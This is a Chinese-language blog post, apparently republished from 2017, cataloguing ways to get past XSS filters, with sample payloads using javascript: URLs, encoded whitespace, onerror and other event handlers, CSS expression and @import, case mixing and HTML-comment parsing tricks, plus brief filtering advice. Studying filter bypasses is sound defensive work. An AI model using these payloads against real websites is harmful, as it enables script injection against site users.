绕过XSS-Filter

作者: Bricex | 来源:发表于2017-10-20 16:55 被阅读0次

绕过XSS-Filter

(1)利用<>标记

XSS-Filter通常过滤转义“<>”“<script>”等字符

(2)利用HTML标签属性值

很多HTML标记的属性支持javascript:[code]伪协议形式

例:<table background=“javascript:alert(/xss/)"></table>

<img src=“javascript:alert('xss');”>

但不是所有Web浏览器都支持JavaScript伪协议,不是所有标记属性都能产生XSS,通常只有引用文件的属性才能,常见属性:

href=

lowsrc=

bgsound=

background=

value=

action=

dynsrc=

(3)空格回车Tab

XSS Filter把敏感的输入字符列入黑名单处理,可以利用空格、回车和Tab键绕过 例:

<img src="javas

script:

alert(/xss/)">

(4)对标签属性值转码

对普通HTML标记的属性值过滤,还可以通过编码处理来绕过。

Tab符的ASCII码&#9、换行符&#10、回车符&#13可以插入任意地方

为了防范标签纸属性编码的XSS,最好也过滤&#/等字符

(5)产生自己的事件

不能依靠属性值跨站,通过事件,如click、mouseover、load等,响应事件的函数叫事件处理函数例:

<img src="#" onerror=alert(/xss/)>

onerror是IMG标记的一个事件,页面发生错误,该事件被激活。上例,解释IMG标记时,加载src属性引用的图片地址,若图片不存在就触发onerror事件。其他事件:

onResume

onReverse

onRowDelete

onRowInseted

onSeek

onSynchRestored

onTimeError

onTrackChange

onURLFlip

onRepeat

onMediaComplete

onMediaError

onPause

onProgress

onOuOfSync

oncontrolselect

onlayoutcomplete

onafterprint

onbeforeprint

ondataavailable

ondatasetchanged

ondatasetcomplete

onerorupdate

onrowenter

onrowexit

onrowdelete

onrowinserted

onselectionchange

onbounce

onfinish

onstop

onesizeend

(6)利用CSS跨站

CSS中使用expression同样可以触发XSS。例:

<div style="width: expression(alert('xss'));">

脚本代码通常被嵌入到style标签/属性中。style属性可以和任意字符的标签结合,所以不只要过滤标签,还必须对style属性值进行过滤。

例:

<div style="list-style-image:url(javascript:alert(‘xss’))">

<img style="background-image:url(javascript:alert('xss'))">  等同于

<img src=" javascript:alert('xss')">

此外,可以使用<link>标签引用CSS。

除<link>标签外,网页中引用外部CSS还可以利用@import导入,例:

<style type='test/css'/>import url(http://.../xss.css);</style>

http://.../xss.css中内容是:

.showCSS{

event:expression(

onload = function()

{

alert('xss');

}

)

@import还可以直接执行JS代码

<style>

@import 'javascript:alert("xss")';

</style>

因此,包含expression、javascript、import等敏感字符的样式表也要进行过滤。

(7)扰乱过滤规则

转换大小写、大小写混淆、不用双引号用单引号、不使用引号。

IMG标记和src属性之间没有空格<img/src="javascript:alert('xss');">

利用expression跨站时,可以构造不同的全角字符。

运用/**/来注释字符,样式标签中的\和结束符\0。

将CSS关键字转码,e转\65,改变编码中0的数量\065、\0065

利用浏览器解析HTML注释存在的问题来执行JS,例:

<!--<img src="--><img src=x onerror=alert(1)//">

纯文本标签造成的混乱标记,例:

<style><img src="</style><img src=x onerror=alert(1)//">

相关文章

  • 绕过XSS-Filter

    绕过XSS-Filter (1)利用<>标记 XSS-Filter通常过滤转义“<>”“ ”等字符 (2)利用HT...

  • ✿花语芬飞✿曾几何时,你是否想起那梦境中的薄翼?

    我绕过偏僻,绕过路,绕过公园的小溪;绕过杜松子酒,绕过曾经明亮的眼,绕过烧烫的云; 绕过这么多内容,最后还是要绕去...

  • 绕过

    以为挑落灯花, 就可以泯灭思念的烛火。 却于无意间, 更加拨亮了夜的寂寞。 记得曾经是那么的用力将十指紧扣, 精巧...

  • 11.绕过waf sql注入

    绕过waf的方法:1.白名单、2改变请求方法、3.大小写绕过 、4.url编码绕过、5.组合绕过、6.复参数绕过7...

  • 🎪waf绕过

    ? waf注入绕过检测方法 云waf直接找真实ip就可绕过 方法总结:绕过waf的方法: 1、白名单绕过2、大小写...

  • 如何绕过WAF之混淆注入原理

    定义和原理 混淆和绕过普通的注入方式过于明显,很容易被检测。因此,需要改变攻击的手法,绕过检测和绕过,即混淆和绕过...

  • 小迪16期-20170408

    安全狗防护注入及绕过思路Sqlmap tamper插件分析. sql注入绕过思路一:提交方式更改注入sql注入绕过...

  • 是你的,不要争;不是你的,争不来。

    人生如水,随意就好,走不通的路,绕过去;看不习惯的事,绕过去;想不通的事,绕过去;放不下的情,绕过去。人生...

  • 绕过waf

    绕过云锁进行SQL注入 EXP: 1.php?id=-1 union(select 1,2,3,@@datadir...

  • 各种绕过

    各种绕过110各种绕过哟http://120.24.86.145:8002/web7/ get 接收 id 和 u...

网友评论

    本文标题:绕过XSS-Filter

    本文链接:https://www.haomeiwen.com/subject/lckdyxtx.html